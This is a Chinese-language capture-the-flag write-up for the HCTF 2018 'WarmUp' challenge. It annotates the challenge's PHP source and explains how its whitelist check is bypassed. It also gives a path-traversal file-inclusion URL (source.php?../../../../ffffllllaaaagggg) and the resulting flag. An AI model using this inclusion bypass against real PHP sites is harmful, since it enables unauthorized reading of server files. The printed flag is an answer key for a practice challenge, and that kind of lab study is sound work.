[HCTF 2018]WarmUp

1.访问页面,搞笑的喔。

2.查看源码,有注释,那么就访问看看吧。

3.访问路径http://54f45a07-0d65-4fc4-8368-9aae675b5e23.node5.buuoj.cn:81/source.php,发现源码。

php 复制代码
<?php
  highlight_file(__FILE__);
class emmm
{
  public static function checkFile(&$page) 
  //传入了变量page,也就是我们刚刚传进来的file

  {
    // 这里定义了白名单,包括source.php和hint.php
    $whitelist = ["source"=>"source.php","hint"=>"hint.php"];

    if (! isset($page) || !is_string($page)) {
      /*为了返回 true 两个条件必须满足
1 page存在 
2 page是字符串 ,
这里和外层的判断file 一致基本是再次判断了一遍*/
      echo "you can't see it";
      return false;
    }

    if (in_array($page, $whitelist)) {
      return true;
    }
    /*in_array(search,array,type) 函数搜索数组中是否存在指定的值,
白名单过滤,需要返回了ture
所以这里我们传入的page或者是经过截断之后的page必须是soure.php或hint.php,
这里是正常的访问,我们需要构造文件任意包含,所以这里传入的不满足条件,这里不是注意的点,往下继续看*/

    $_page = mb_substr( 
      $page,
      0,
      mb_strpos($page . '?',  '?')
    );
    /*这里mb_substr 是个截断,返回0到mb_strpos之间的内容,而mb_strpos 则是查找第一次出现的位置,所以基本可以理解为获取page 两个?之间的字符串,也就是获取file两个?之间的字符串,放到url中就是http://ip/?file=ddd?中的file=ddd*/    

    if (in_array($_page, $whitelist)) { 
      return true;
    }
    //这里和上面类似 查看_page 是否在白名单中

    $_page = urldecode($page);  // 这里发现对_page进行了一次decode解码,
    $_page = mb_substr(			//获取两个??之间的内容
                       $_page,
                       0,
                       mb_strpos($_page . '?', '?')
                      );
    //先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'),构造url:
    // 这里是我们要绕过的点,从这里往上看 尝试构造

    if (in_array($_page, $whitelist)) {//白名单
                                       return true;
                                      }
    echo "you can't see it";
    return false;
  }
}

if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
   ) {
  include $_REQUEST['file'];
  exit;
} else {
  echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
/*必须满足if条件,才能包含file,这里也可以猜到可能考的是文件包含: 
1 REQUEST['file']不为空 
2 REQUEST['file']是字符串
3 checkFile($_REQUEST['file']) 为ture,回到checkFile 函数分析如何返回true*/    
?>

4.输入传参为file,以及另一个路径hint.php。

复制代码
http://54f45a07-0d65-4fc4-8368-9aae675b5e23.node5.buuoj.cn:81/?file=hint.php

5.通过提示,构造路径。

复制代码
http://54f45a07-0d65-4fc4-8368-9aae675b5e23.node5.buuoj.cn:81/?file=source.php?../../../../../../ffffllllaaaagggg

flag{ed36a982-f20b-4b31-a77c-3d5252393c8b}
相关推荐
用户9623779544811 小时前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主1 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954483 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954484 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star4 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954484 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher5 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行8 天前
网络安全总结
安全·web安全